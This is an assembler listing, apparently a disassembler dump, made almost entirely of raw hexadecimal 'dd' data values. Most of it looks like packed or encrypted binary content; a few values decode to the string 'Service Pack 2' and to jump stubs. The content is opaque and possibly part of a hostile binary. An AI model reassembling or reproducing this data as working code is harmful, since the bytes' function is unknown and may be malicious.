0A1B4E01Ch, 0BBC41B24h, 9FD30466h, 43DE2110h dd 0A6D7AF86h, 0F220A487h, 0F4F69365h, 7F905406h, 7DF8F143h dd 4207F29Ah, 15F4DB56h, 19E97246h, 0D4000000h, 14939C9h dd 7C809Eh, 4 dup(0) dd 0D85E9h, 0DEB66800h, 2BE9061Ah, 68FFFAA1h, 61ADFC1h dd 0FAA121E9h, 0E14C68FFh, 17E9061Ah, 68FFFAA1h, 61AE2C6h dd 0FAA10DE9h, 0E47768FFh, 3E9061Ah, 68FFFAA1h, 61AE698h dd 0FAA0F9E9h, 0E82668FFh, 0EFE9061Ah, 68FFFAA0h, 61AE946h dd 0FAA0E5E9h, 0C43492FFh, 0F7F0231h, 0CC3CB966h, 676FA29h dd 0D242C06Fh, 6C276443h, 28F79E0Eh, 71BE57C7h, 5DD2A313h dd 3C876EDEh, 2F6EB312h, 8C0D169Ch, 45864FB0h, 53C34049h dd 274D6A63h, 6641C672h, 4A75ABE0h, 27848565h, 11727FB7h dd 4D8AD4A1h, 8AE08ACDh, 770C2BEFh, 31B11686h, 48F8A248h dd 4B7F4618h, 12169BB4h, 6FAE1501h, 181693AAh, 8E1B2EA1h dd 309DBD76h, 7A108003h, 42CAh, 0BABDE00h, 0F04003DBh dd 8D169BF5h, 0CA947ABCh, 93F1D6FBh, 0E6849516h, 93F196B7h dd 0FA6AC816h, 0D141A7BCh, 8837DEE5h, 9548EF5Bh, 0BD1D49B4h dd 0C9ECE99Dh, 0C838B8F0h, 0DAE4C3EFh, 0C81430h, 24280000h dd 525F57C7h, 970764F0h, 9E89AE9Fh, 36CE2DACh, 273C7A55h dd 4B35CC4h, 4B3AD32h, 75F6EB2Bh, 291C3905h, 0D1B7BC00h dd 5471FCEEh, 10861A38h, 9263D330h, 68AE1E9Dh, 8FF23E02h dd 926171Fh, 0F7CA8E35h, 0E2B3169Ch, 0A3D3A313h, 8B17969Bh dd 0F199B626h, 9A57D86Bh, 0C5D61088h, 6DF2E3F9h, 8AEB4C55h dd 0A79A3FAh, 92BD7724h, 68AE1EA1h, 0B436F397h, 82B144h dd 0C5980D90h, 654FB1BDh, 0B3DDDh, 0EC5CDA00h, 27971A09h dd 0F464E14Eh, 3EAE1221h, 0FA6AC857h, 940F7C1Bh, 60CFA616h dd 99866FDFh, 55CAAB1Bh, 448F66D6h, 2C66AB1Ah, 8405169Ch dd 56C624B8h, 0B21370BFh, 86F2CE13h, 0B39CAD10h, 0BAB56E2h dd 0F04003DBh, 8D169BF5h, 9F947ABCh, 3C8EA919h, 521CCDB3h dd 0B5D8C3A7h, 421693A9h, 0DC61E8D7h, 7E9DBD74h, 0B54DB535h dd 2BE9587Eh, 0B37D3FCh, 0DCh, 0A3BE1441h, 7047B73Bh, 0FF834C06h dd 99B6878Fh, 0C72449F1h, 0F0525F57h, 8FC89680h, 4E09AF7Ah dd 8635D5FAh, 1086F076h, 8BA8096Ah, 817EB828h, 86FEFD24h dd 80AF8010h, 3A0C99BEh, 898D129Fh, 1E9D92E1h, 0B8A668AEh dd 8660C40Dh, 0C896A710h, 8660D4FDh, 0E4869710h, 5AE90AAEh dd 10866037h, 0F4CAE5B6h, 9C978951h, 0D2A37416h, 0DAE414E4h dd 8B3CAF6Bh, 617D4E10h, 7DC25874h, 92783F2Dh, 930367CCh dd 5DCD2D02h, 0BD7F35C0h, 3490A6B1h, 0A32h, 7C1989E5h dd 43D242A7h, 542191ECh, 0CE959DFh, 52239317h, 0D75B5655h dd 1EA18E67h, 0DC58C7AEh, 199A896Ch, 0D3FBCCA9h, 9C2D2970h dd 2913D416h, 8856C624h, 0B654C42Bh, 7BEB48D7h, 17AEB09Ah dd 1086F2F2h, 5AC2A879h, 8757C724h, 0F2ABEE55h, 62C51086h dd 0E2614EF2h, 0D4565D72h, 9B888664h, 0C0308C18h, 0E0A006EFh dd 83B0AEB0h, 0CBFA9000h, 169C1F57h, 0F61BAAB4h, 751693DCh dd 0C1D2C6A4h, 0DC2E6ED5h, 5ED91693h, 4C4FDA6Fh, 0D2D59DBDh dd 0D3000006h, 0D848A809h, 1D44E1DEh, 0E01693D4h, 0ABF71BCFh dd 0AE03DB0Bh, 0E64DE44Ch, 12C0B370h, 8DE8F93Dh, 0B24191Dh dd 0B2FFDD5Fh, 0D9B6E050h, 0B0E656DAh, 0F0902BDFh, 8D169CD7h dd 2E91A2BCh, 0E38778BEh, 783CA29h, 0C56C1693h, 12CA2F1Ah dd 7E529DBEh, 66000006h, 3DB0BABh, 9C1AEC40h, 76A07116h dd 93DACE0Fh, 33A32016h, 67AA1903h, 61693DAh, 0E7EFE35h dd 5A7F4608h, 211693DAh, 8D407910h, 923DF456h, 0BD4632B7h dd 59DFD49Dh, 64DFADE9h, 1693D23Dh, 2AC0EFC0h, 634FAh dd 5CB20E00h, 0ADB1E195h, 9BFB3216h, 4003D916h, 1693F819h dd 8737D3E4h, 99DDE8B6h, 169A8916h, 992C3262h, 84B63CF1h dd 0FD6BAB7Ch, 8E350939h, 8EA36717h, 28895566h, 90BA5BCBh dd 6AAC1CA3h, 0AE3D3F9Dh, 3E11C288h, 0D05CDF4Ch, 512C0373h dd 1F9624C0h, 0A7AD151Fh, 70000008h, 60CFA616h, 8FA471E1h dd 48D7BE2Eh, 869D78E8h, 0CAE1B424h, 0FC6CCEC1h, 35A50A19h dd 171D360h, 0CC3CBF74h, 15B09E29h, 169C13CCh, 4F4EEEAFh dd 0C382E362h, 1086F29Eh, 87634C5Dh, 7DB9298Ah, 9B2A4BEBh dd 1086F276h, 330B24F5h, 0A1CF4990h, 5B633416h, 3E824B7Ah dd 0CF694EBEh, 5934D626h, 9CA8615Ch, 72D35716h, 9CA88ED3h dd 735C6D16h, 7B654A43h, 0D8BD2D8Eh, 3D0131D2h, 9CA84B86h dd 35613216h, 0E75EBF3Ch, 169CA8A2h, 0DF667849h, 169CA8BAh dd 0B65F7041h, 2892C394h, 0F73A6C19h, 0F115A813h, 298B169Ch dd 1694209Dh, 0B09F70A6h, 0CFA68986h, 4373E360h, 6DDD5859h dd 7B65429h, 169CE1C6h, 3191A2ACh, 0FAD545A5h, 9136A910h dd 0FC33C232h, 2D2F0F7Fh, 0E1C24C28h, 7D286E8Dh, 169F8954h dd 0AA640617h, 9E79024Bh, 65D55416h, 39C54031h, 724B4BBBh dd 0F79E595Dh, 7B2A1BC8h, 7CB99E54h, 0CA0FB690h, 0B1169F5Fh dd 0EE6BD7E0h, 9EF3291h, 0BD8E169Fh, 5631C592h, 5B8B4274h dd 910182AFh, 150C004h, 4FDC0000h, 4571E162h, 1271A248h dd 89AA74A2h, 5DCEBC2Ch, 0CC276FDFh, 1086F285h, 0AEE858DBh dd 0E571D3E0h, 52381787h, 56689868h, 0A1CFAAEFh, 56EDEF16h dd 169C2F33h, 44DF8BAh, 0E7169C2Fh, 0AD11F9D6h, 266A019Ch dd 7B79B7D0h, 72DF7h, 1C8CEA00h, 0D747AA79h, 2494F13Eh dd 0EE5EE251h, 2A9A1807h, 645F4C4Bh, 30FF9606h, 69B65FCFh dd 25FA9B0Bh, 14BF56C6h, 10567B4Ah, 5415169Ch, 57C724E8h dd 0E45F7D5Fh, 1086F2BDh, 8E7B6F40h, 4AD9BC2Ch, 7A647AEAh dd 86F286CBh, 0ED5DD810h, 5B6CD4A9h, 0EC4FE4AFh, 0A0B5997Ch dd 0BE3FFFDAh, 0C19694Eh, 9A3A8BACh, 84AF61D1h, 5DC525E6h dd 0D1147591h, 53436CAAh, 2A6CDC5Eh, 248ACB8Fh, 0C45BC5A4h dd 4E8138D2h, 0EC89F979h, 0A91334B9h, 7BC97h, 0B5D00000h dd 0BCh, 57C724D1h, 3DC92A87h, 724B4BBBh, 2F64595Dh, 80AE5CCCh dd 8702D805h, 46792010h, 3920281h, 0E744D02Ch, 614E3F77h dd 78D9545Dh, 86E284CDh, 79566710h, 0A3B9A391h, 7CBA2A8Eh dd 0E2FF2283h, 0AD7E1086h, 0F8920266h, 86E281CDh, 0E454D710h dd 0D040C1B2h, 4BAAE9E6h, 31D8DBDBh, 37A2657Eh, 4DBD3F88h dd 624F84A8h, 65276FDFh, 86F2BBDEh, 5E714210h, 71FD7FACh dd 8A979F0Fh, 8F80B626h, 9A878FA0h, 0CD6CAA1Ah, 6ECEF9E4h dd 8E9A17FEh, 1E1086FAh, 62A71E40h, 91086FAh, 0D1635238h dd 5F97A825h, 0FFFFFE6Fh, 69D9545Dh, 0F2ABEE55h, 41521086h dd 0AB571A9h, 0D1000003h, 5F57C724h, 86F2C9E4h, 0C939BF10h dd 0E858D4CDh, 745BC2AEh, 0E3CA316Fh, 2E9E220Fh, 0B67317E8h dd 330C535h, 575F480h, 23133C11h, 86F20DA0h, 98008310h dd 72BB7832h, 989EB187h, 203E6E12h, 0A1DF7CA5h, 13949D16h dd 0F09A73A3h, 51EFFD0h, 62B7D016h, 57CF054h, 1B9B0000h dd 0D455CAABh, 23A29164h, 0EB4DE2B3h, 25859A7Bh, 0C0CBE0B5h dd 18FD6DCDh, 6134A40Bh, 730272D2h, 26CF3FBCh, 0CF12B19Dh dd 0AE169C16h, 0C7244FEDh, 0F0525F57h, 9B980864h, 9C71A515h dd 0EE4DE2B3h, 2A88977Eh, 68AE1E9Eh, 657EB897h, 8CC99505h dd 71E5C240h, 907E6C33h, 0BA0DC0F9h, 562DD038h, 620043D0h dd 0BF40714Dh, 0E5D09B4Fh, 97A8CB58h, 238E0h, 56D5DE00h dd 2BDFB0E6h, 0DE0EAB07h, 0B6E1F6D8h, 0D34B35F1h, 629D08E2h dd 0EB0F751Bh, 4DB09944h, 0D3969807h, 211h, 0C20EABE7h dd 0DEE0CF3Fh, 86F22267h, 0BEF8C910h, 75F10437h, 7B62CD0Fh dd 45B53A77h, 1F8E7C51h, 96971D9Ah, 1E822h, 0EABF600h dd 104500DEh, 0E31086F2h, 0B9FAE4D2h, 0F3CCCA3Ah, 0F173AC17h dd 95FC0F75h, 1D9A1F2Ah, 0C2229697h, 0F6000001h, 0DE0EABh dd 86F21445h, 8D6E710h, 35D545ABh, 9B1C15F7h, 7812EB2Bh dd 75F1124Dh, 8934DB0Fh, 971D3DC0h, 197C396h, 24D70000h dd 525F57C7h, 0C6F481F1h, 49FCC2F2h, 169BFB11h, 0E9F3CBDCh dd 93FB375Ah, 5E5B616h, 0FB61AC07h, 0A30E1693h, 27A00D3Ch dd 4F289DBDh, 4000000h, 73E3624Fh, 0E7494A43h, 591D9377h dd 0F83EAE0Dh, 0AF162807h, 169BF583h, 0FA6ACDBAh, 0F63861E4h dd 0F2C31693h, 335AD9DDh, 0BC1693F6h, 2B886A55h, 0F7B654C4h dd 9DBD1E72h, 2A9A1F14h, 0CB7713ECh, 0D1h, 1EE0D401h, 835C2805h dd 624F33E7h, 8F7C6EDEh, 697ABC2Ch, 8BFB7D09h, 17999AA4h dd 0B99E6FA7h, 0E837E6F4h, 0E14B3F14h, 46F7DAFBh, 39F47CF6h dd 846649B9h, 82B42487h, 0D3A21271h, 86369EEEh, 0C1319210h dd 0E82D2A34h, 5E83420Dh, 1D10866Ah, 0EF8A2B0Ch, 77477119h dd 77FF0C4Fh, 23B285F5h, 91AD8258h, 0EF3291CBh, 8E108697h dd 67AF1FA1h, 0F2D1B996h, 169EFFA4h, 397A4455h, 77AC49B9h dd 940467F3h, 0FB82ADA2h, 0B7D2F6CCh, 5B1DA58Fh, 0BC000003h dd 0EC43D242h, 0AB781D8Dh, 0E43BDA4Ah, 0B2811484h, 9615E050h dd 0A8189A15h, 61D156CDh, 0AD1D9F94h, 68D85BC8h, 0B1143A8Dh dd 169C1468h, 24EA5213h, 46B63AC6h, 0C5507F50h, 0F89D0D6Eh dd 0E3624F34h, 0A04A4373h, 76A01073h, 0E78EFE7Dh, 86F282CAh dd 4D995D10h, 273C7AEAh, 6D6254C4h, 8B516D42h, 6155C526h dd 860D2774h, 4867CA4Eh, 18ACF76h, 0A0711086h, 8CBDBCAh dd 0CBE8169Bh, 0CFBDF969h, 930E2D74h, 0D0FFD016h, 0E0B5863Ah dd 57C7245Ch, 81F1525Fh, 0CAF2C6F4h, 0A7CB6522h, 0A5203E67h dd 1086847Ch, 3D012EFFh, 9B8D5286h, 8EEE1B16h, 24128202h dd 3D12042Bh, 7CA12412h, 916938Dh, 0BF2A1F8Eh, 5F9DBD9Ch dd 46B6347Dh, 9385BADFh, 43704116h, 76474FBFh, 29A894h dd 0B1A60000h, 6B7698D7h, 74A8429Fh, 3DB0BABh, 9BF5F040h dd 7ABC8D16h, 93F1D2FBh, 0C9F49B16h, 0BD1CFD80h, 0C5839Dh dd 24970000h, 525F57C7h, 9D9680F0h, 7B68AE1Eh, 61ED88F8h dd 9482F250h, 98F4CFBBh, 901086F7h, 0FD32C333h, 0A2080E7Eh dd 3590AEDEh, 169BF109h, 2C7A1B2Ch, 52C2408Ch, 617B617Dh dd 93FABFE2h, 266D3E16h, 6A6353C3h, 95FD2580h, 9380108Bh dd 0D0EEC131h, 72D25EE3h, 143B1402h, 6FD3E076h, 0FF3416FFh dd 330C0A7Ah, 0CC58DA57h, 0CEB7FF6Fh, 8B38C6A9h, 0FE351A71h dd 330C0A7Ah, 7548811Ch, 1D17B1BEh, 1CD95h, 7CEC4A00h dd 0B7278A99h, 84F451DEh, 4EBE42F1h, 8AFA78A7h, 0C4FFACEBh dd 101FF666h, 0C9563FAFh, 51AFB6Bh, 745F36A6h, 1AB6DB6Ah dd 0B435169Ch, 0DF624F88h, 2C8E7B6Fh, 0E94AD9BCh, 0AB909C79h dd 0D903DB0Bh, 0F2194003h, 0D3571086h, 0FEECBD63h, 9BF5939Fh dd 9D99AA16h, 0A00182AFh, 93F1FC25h, 81AE7F16h, 0C89FB895h dd 2C33571Bh, 588520CAh, 251693C3h, 0A306436Ah, 439DBD4Bh dd 0CF67AA19h, 35061693h, 0D0E555h, 4FC10000h, 0C382E362h dd 1086F29Eh, 33634C5Dh, 0F2B7DA69h, 65361086h, 1073A04Ah dd 5C09EA0h, 1086F2DCh, 32DC8E9Fh, 6551C141h, 86F78EDEh dd 99018210h, 624E1ADFh, 96BB8A64h, 5510869Bh, 0B1446B44h dd 0CD910182h, 0D3F6CD8Fh, 9A10869Bh, 9BF51C89h, 0A7781086h dd 1FDF49C3h, 0C874CFEFh, 6D169B9Dh, 7D52C240h, 3E6E1298h dd 77F53E20h, 4C3E0F07h, 8BF2C671h, 9AA47510h, 2A8D1999h dd 26E29DBAh, 98FE1D81h, 0F151DEB7h, 40BDFC81h, 90A6B1BDh dd 0AD34h, 9C0C6A00h, 57C72AF9h, 0A41471BEh, 6EDE62D1h dd 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh dd 943FD646h, 1BD6FBCAh, 0D495169Ch, 56C62468h, 0A31370BFh dd 0C72466D2h, 0F1525F57h, 0F2C6F481h, 0D1E2FCC2h, 39160070h dd 0CF2B7251h, 0F9CA16A1h, 360DCFBDh, 169C2F13h, 246DD8DAh dd 0C7169C2Fh, 0E1FED9F6h, 0BDB2C055h, 991A17F3h, 54D74C29h dd 0A653B2E4h, 4559B02Ah, 5BD8EFDEh, 96150AEBh, 951B1826h dd 6E1CF125h, 0DD4DB3C0h, 0E151B001h, 81280B09h, 8AFA794Eh dd 47B734EBh, 8F34Fh, 4FC70000h, 7B6FDF62h, 0CA24A199h dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 57783C7Ah, 0BE56E789h dd 4, 835EF701h, 3C8704EFh, 89525C24h, 4C281E2h, 83000000h dd 148704EAh, 4895C24h, 5DF26824h, 1C890000h, 6A73B824h dd 0C0832766h, 5D8F7FFh, 427D2C07h, 0B46C2935h, 359C3539h dd 0B22D4D6Bh, 5469AEBAh, 81241C8Bh, 4C4h, 4EC8100h, 89000000h dd 438F2404h, 2434FF08h, 4C4815Bh, 8B000000h, 89522404h dd 4C281E2h, 81000000h, 4C2h, 24148700h, 93B4E95Ch, 0B9F4FFFAh dd 18B88C1Dh, 3061AEAh, 81E0FFC5h, 2A646542h, 995E3236h dd 0E94867EEh, 0ABh, 820E435h, 94h, 5, 1, 0A28h, 2, 76726553h dd 20656369h, 6B636150h, 3220h, 20h dup(0) dd 0E9000000h, 0BA0h, 1AECF368h, 92DCE906h, 2F68FFFAh dd 0E9061AEEh, 0FFFA92D2h, 1AEF3D68h, 92C8E906h, 0B768FFFAh dd 0E9061AEFh, 0FFFA92BEh, 1AF10D68h, 92B4E906h, 6C68FFFAh dd 0E9061AF1h, 0FFFA92AAh, 1AF4CA68h, 92A0E906h, 9668FFFAh dd 0E9061AF5h, 0FFFA9296h, 20F565E1h, 573EAE13h, 18FD6DC8h dd 6035A50Bh, 16FF6FD3h, 13970A81h, 0DA5DD2A3h, 18948B6Ah dd 0D556CDA8h, 17479065h, 9C1965ACh, 0B5870816h, 5F57C724h dd 0BD81F152h, 0E684F474h, 2F5F1F87h, 0FB7CB40Fh, 3001169Bh dd 33A3052Eh, 0B6600A03h, 93FB0E4Fh, 73E36016h, 0A7EA5943h dd 461693FBh, 4CBC3E75h, 913CED4Ah, 8E41F852h, 0BD272EBBh dd 2AB69Dh, 0ABD20000h, 0AE03DB0Bh, 0C4DDD949h, 31D9F666h dd 0F598982Bh, 94A5169Bh, 0F1FA23A2h, 0C831693h, 1D45A8A1h dd 0D7CB9DBDh, 0DF000000h, 8757C724h, 0B555C52Ah, 0A0086A77h dd 2C976EEDh, 1086DDE5h, 0F3A0B788h, 0C4417262h, 263B7B54h dd 288955C5h, 0BADF66C7h, 4110868Dh, 66575F70h, 1A998A84h dd 38E6CBAAh, 5F108689h, 7683C67Dh, 3D6A1086h, 734C4ABAh dd 9EC3825Ch, 5D108676h, 0E6D9E4Ch, 0CB28F79Eh, 0E752835Bh dd 13360D32h, 0DA108608h, 430EEEC9h, 0AF39F397h, 44FFDF0Fh dd 169C7B9Ch, 0F5C55061h, 764D1141h, 108B0DB5h, 0D6DBE3B4h dd 2211E454h, 256D30A0h, 3EB1BDF5h, 96FBC38h, 97170000h dd 60E14E27h, 0AF0E25F0h, 67C9563Fh, 0B1111EF7h, 0B4F7B441h dd 6C0979F9h, 35C030B7h, 670E7EFEh, 2ACB3BB8h, 0CB0EB599h dd 0B2169C1Eh, 0C6240B31h, 1370BF56h, 2B88D2A3h, 6E5F57C7h dd 0BAB987Ch, 0F04003DBh, 8D169BF5h, 0CA947ABCh, 93F1D6FBh dd 0E6849516h, 93F196B7h, 5B85F16h, 0BD1CB944h, 1173F9Dh dd 5F7D0000h, 93FDBDE4h, 2267DE16h, 0C91693FDh, 677748F8h dd 93FDB5DCh, 83673816h, 57C7248Fh, 80F0525Fh, 56BC896h dd 0F2F821A4h, 0B2831086h, 10CEED9Dh, 5C1086F6h, 0C4866FDFh dd 0ED9D0D6Fh, 0FA57BF3Ch, 474F5DFh, 921A3D12h, 223C13B5h dd 724AD335h, 0E95CC874h, 108607A0h, 0B5557A4Bh, 1D4DF177h dd 2494F041h, 0E76D1DF2h, 9CF0B45Ch, 58DAD716h, 0DD1AEE8h dd 90FA1336h, 21C9DA16h, 0E1C9AC7Dh, 0FF6FD11Dh, 75D00ED0h dd 1690FA2Ch, 0FAB3D66Dh, 693A1690h, 3204E6B7h, 7B092B2Ch dd 0EA624BA0h, 0B6F5A500h, 0B7881088h, 0B9298AA7h, 18B7807Dh dd 160AB777h, 3E73C9A1h, 7AA94CBCh, 0E52C97F8h, 881CAB69h dd 0B70598B7h, 0B0B1BD96h, 8333EC6h, 0F3530000h, 0BC3DF283h dd 0FB7AA94Ch, 0B335EA8Bh, 0FD7DB243h, 0F8B3E88Dh, 20F565C5h dd 593CAC13h, 1BFA6ACAh, 5E37A704h, 0B7DA6975h, 36169C1Ch dd 624F87B5h, 9B9872E2h, 8CCEA717h, 0B555C527h, 0EE87F774h dd 57C7244Ah, 81F1525Fh, 0FD249FBDh, 801086F2h, 2E5088AFh dd 2C59BFDh, 0D99D0D68h, 2E2E95A9h, 4F16A13Eh, 0F053607Eh dd 79D0F580h, 0A2169D3Fh, 3CC009BCh, 0A2AB169Dh, 98FC1B7Dh dd 402A05ADh, 0DF5DA95Ah, 0CB5406Fh, 2149ED04h, 71BFA63Ch dd 0B787A821h, 8075040Ch, 0BF3C6910h, 279E604Fh, 0A87F7127h dd 8E508040h, 6056C625h, 0ADF44F6Fh, 508F7F62h, 93C98B7Fh dd 0BEAC1C9Eh, 658ACFDFh, 53F2EC89h, 0B6884A0Eh, 4302DCEDh dd 0B6884A1Eh, 7A1ECCDDh, 3BFB6DA9h, 4A66AB1Ah, 3405B688h dd 8180431Bh, 7AB091DCh, 4A4CBC39h, 10219575h, 0FA86E54Eh dd 1B8BED79h, 220D0234h, 0EF5FDC53h, 0C4062E0Eh, 2B87AD11h dd 725h, 0A075E561h, 0D7BE2E93h, 987DED48h, 0E0B5258Bh dd 967FEF53h, 93178A01h, 5ADD5223h, 98140BEAh, 55D64D28h dd 97C710E5h, 9C1DE52Ch, 35078816h, 3DB0BABh, 0A1DCDC40h dd 90F23F16h, 45564A20h, 49B93879h, 53986075h, 1A339025h dd 9C3E66ABh, 1B340516h, 0AA0F246Fh, 2112FC3Ah, 3CAC139Fh dd 0D2A05FAh, 657EF0EFh, 0DD4E3C55h, 290FEE5Eh, 0B6B7D0C2h dd 6AB44C0h, 5BDB0000h, 94150AEBh, 63E25124h, 0AB0D22F3h dd 65C55A3Bh, 8B20F5h, 0D8BD2D8Dh, 0A174E44Bh, 33C23292h dd 660F7FFCh, 8FD2715Dh, 6E169C1Dh, 0BAB8FADh, 0DC4003DBh dd 0A116A1DCh, 18FD249Fh, 0AF80169Ch, 25A0BE80h, 169C18FCh dd 0A31D8DF2h, 4D66F892h, 0B3977EEEh, 18F71AA9h, 0B114169Ch dd 169C1868h, 8D9E0213h, 0D606B3DDh, 18603D08h, 0B6E3169Ch dd 0FBD4C232h, 3B63E2D4h, 0C4169C18h, 82E7624Dh, 0A9DC308h dd 48h, 0DE0EAB1Eh, 0F2104500h, 0D2E31086h, 0DCADCB0Ch dd 13598043h, 13241086h, 5D37C044h, 6890417Ah, 36D442F1h dd 9E1D16F8h, 3C613C2Eh, 0C91086A8h, 7FEA5F4Eh, 1F97A878h dd 4D3DAD12h, 7EDh, 0F0B5C900h, 0D1000001h, 93B68D4Fh dd 5A1086F2h, 10FEA149h, 6ED11DE1h, 0DDF262E2h, 0F3CBE4D9h dd 0FB6BC8E9h, 7D28C2BBh, 169BFB95h, 8C37C7D8h, 0C624ABFFh dd 0C698C878h, 23A3AFFFh, 999DAEA3h, 0F71AA9B3h, 76AB5213h dd 2BCBC5A5h, 0E160E3FBh, 7CAD4B85h, 93C993ABh, 0FAAB1B9Eh dd 0D16BA1D7h, 24E58596h, 2A8757C7h, 705E58C8h, 6BA18CD5h dd 715E6FD1h, 6350FA99h, 484571E1h, 0A21271A2h, 0FDDEEFDBh dd 8202F4FBh, 555h, 9065D531h, 0C7AE1EA3h, 886DDD58h, 0D0A5159Bh dd 866FDF63h, 0C3279A11h, 0A6DC253h, 0C824FB9Ah, 566BD58h dd 7D70095h, 9C03153Ch, 2517D816h, 5F57C724h, 0E9F525D9h dd 9BFC5A5Ah, 2BCADB16h, 9ABD361Fh, 481CDD1Ch, 0F70EA86Fh dd 0AF5BD644h, 0C910182h, 0B7D55716h, 0F65FE3D1h, 90000004h dd 2FC636h, 0AF841181h, 0E837DE4Eh, 0A67D1888h, 6A41D444h dd 9C0C6E21h, 55C52AF9h, 0A11173C0h, 6CDC5FD4h, 0B5103E89h dd 169C036Ch, 4FAE8E0Fh, 4670E062h, 1370A149h, 2C19BA3h dd 1086F2DFh, 2FDD8D9Eh, 8D51C142h, 6056C624h, 0F6917B6Fh dd 86CB7A64h, 651086F2h, 0D4FBB654h, 15F6391Eh, 8A023335h dd 60D033E0h, 599D2095h, 492397A8h, 19000000h, 1C90893Ch dd 0FEEC9671h, 0E1624F16h, 5F1F9971h, 10B40F2Fh, 25169BFBh dd 7AA32214h, 6C1693FBh, 0A872A911h, 68277DD9h, 0DD624F47h dd 2280C97Ch, 5A6B1693h, 46AD4175h, 33DE4C97h, 0EA30BD8Ch dd 50B89DBDh, 0D4000000h, 3DB0BABh, 0F2276AD9h, 0F5C61086h dd 0BB843F15h, 0BA169C41h, 0AA07D5E9h, 31D949h, 41841181h dd 1693A21Dh, 4588F053h, 98DAE813h, 0E4FAC4EBh, 93573861h dd 18F2C316h, 0D343A67Dh, 0B250CA0Bh, 5166D655h, 9971B152h dd 3EB179Bh, 4FF30000h, 0F293B68Dh, 495A1086h, 1747F7A1h dd 0F6D87C47h, 9B9D169Bh, 93F6E128h, 9CBB8C16h, 0CF76E8F7h dd 0CDC9E6B2h, 0AFE757D4h, 0ED05B83Fh, 480D54EFh, 0CA871693h dd 0ECA0E944h, 0DE8C9D03h, 0AD404B4h, 942071CDh, 4F3BE4A2h dd 0C80DCF0Dh, 1EE6F8C7h, 0EB2E9786h, 921693FDh, 1ABAE981h dd 0DB108EF9h, 77F42BCAh, 84D0F07h, 834C7FA1h, 4A701A0Ch dd 0CD784676h, 1AB6914Dh, 12820330h, 1F30A021h, 1BA70A17h dd 1CF12595h, 8AEE0333h, 1D841C1Ah, 0A51431B2h, 0BE2E8D3Ah dd 0FF2FCFD7h, 0B65464DFh, 0BCE904A3h, 0DDE1CE3Eh, 6E454D4h dd 0AD184608h, 8D23664h, 0D7543607h, 0FC6CC854h, 0ACEAC5BAh dd 856D60C9h, 0BF42CE2Ch, 5976474Fh, 73707B1h, 0C22C8C37h dd 40510EC8h, 8DFD7EB5h, 930380B1h, 0C6243DF7h, 2ABBDE65h dd 71420EEFh dd 61C8585Eh, 6ADA596Eh, 2B5B1B8Bh, 0D1A0B013h, 0CCDD08F5h dd 0EA5AD9CAh, 0AC05C9ACh, 0E5DADC4Ch, 2B238A05h, 59835B8Bh dd 299C083h, 626434F8h, 0F802BEE3h, 436C3D34h, 0F91CFCA7h dd 506132E2h, 9D0D6EC5h, 0CA2B8899h, 12FAD6FBh, 0B384953Ah dd 11DB357Ch, 9FBF900Dh, 0D3C33392h, 0D98510FAh, 0F0FBBDFCh dd 96744F51h, 122C5C1Ch, 0FA97FB3h, 0E92DFE3Ch, 2FA9438Ah dd 5A852C20h, 0A4149B98h, 0BEED9D72h, 0C851793Bh, 0E656D6DBh dd 0F2BDFB0h, 29h, 0DB0BAB2Bh, 0F5F04003h, 0BC8D169Bh dd 7BC3947Ah, 1718C225h, 8BD2F199h, 74169358h, 0B23712BDh dd 3A9DBDC3h, 0E9h, 57C7244Eh, 80F0525Fh, 2F96C896h, 1086F2EAh dd 29EA8091h, 475C5ACAh, 0DEE97CE4h, 9199CBCh, 0B4724F26h dd 0B8108655h, 0F52ACB3Bh, 1686EA76h, 630A01Dh, 8AF02609h dd 0A7086AB6h, 8655F51Ch, 88A77810h, 0C09EB18Eh, 9B533905h dd 0CB733C16h, 2EA6F203h, 1945D0FFh, 0E5598043h, 13241693h dd 4D7D4177h, 52C24071h, 0BD7F6B64h, 8B8AC206h, 0C49AAB10h dd 0A919999Ah, 39FA906Dh, 0A4ED58B9h, 0DE1CAA30h, 0D61D928Ch dd 0C2D34DE7h, 61E0D1EDh, 50ACC5F1h, 0F6D9B6E0h, 48AA7914h dd 4C3945D8h, 94A2B1BEh, 19830h, 2090EE00h, 0EB5BDE55h dd 2898150Ah, 0E252D64Dh, 2E9E1C13h, 685B5047h, 24FB9A0Ah dd 6DC253C3h, 29F69F0Fh, 8BB5ACAh, 65A7F46h, 6021169Ch dd 56C624DCh, 0A31370BFh, 0C52B88D2h, 7E6C6155h, 0DB0BAB96h dd 57D8D903h, 989803E7h, 0A5169BF5h, 0FA23A294h, 831693F1h dd 45A8A10Ch, 0CB9DBD1Dh, 0ACh, 57C724DFh, 55C52A87h, 907E6C61h dd 67AF1FA3h, 86F65E0Ch, 0C1319210h, 1B7CFF34h, 0F75F8241h dd 0D1E1086h, 86F77198h, 42BFC10h, 0A8D8A812h, 0F10F2F96h dd 1D2E169Bh, 5FDDD678h, 0A9720AF7h, 0A28DB736h, 1B989B74h dd 25D9BFABh, 0D95AE9F5h, 58108B95h, 0B83A7747h, 0F476AD48h dd 7EE7F984h, 0FEF8B1BEh, 0CC76h, 0CC3CBA00h, 777FA29h dd 0D444C16Eh, 1E8EF241h, 0DA4AA877h, 742F5C3Bh, 40EF86F6h dd 79A64FBFh, 35EA8BFBh, 24AF46B6h, 7468B3Ah, 6425169Ch dd 56C624D8h, 0A31370BFh, 0EF5688D2h, 1086F2AAh, 72AA4051h dd 407D864Fh, 7058353Ch, 0B21A999Ah, 22D59D74h, 0A096B9EAh dd 35C03093h, 0BD81B185h, 0A12B1A06h, 64526316h, 47B7397Ah dd 950566A3h, 60D03300h, 0E715CF36h, 4DD418DAh, 96066562h dd 0D4565BFFh, 7A5D3264h, 0ABCF2FDEh, 0DB58323Ch, 0B5AEE858h dd 0DED3C333h, 0B6ABEB5Bh, 5FCFC737h, 0C7FEE5D8h, 0DB586F5Eh dd 73C08A6Bh, 9875A111h, 52C241F2h, 13E064h, 4FBC0000h dd 5BCA5A86h, 43883E61h, 74A7EA7Eh, 339D1FEh, 5ACA24F7h dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h dd 66D65A47h, 52C24330h, 7AEA4F64h, 6568783Ch, 8900000Ch dd 0BA522424h, 4, 4245401h, 0E089505Ah, 405h, 4E88300h dd 5C240487h, 57240C89h, 0C781E789h, 4, 4EF81h, 3C870000h dd 1C895C24h, 4EC8124h, 89000000h, 0C1BB241Ch, 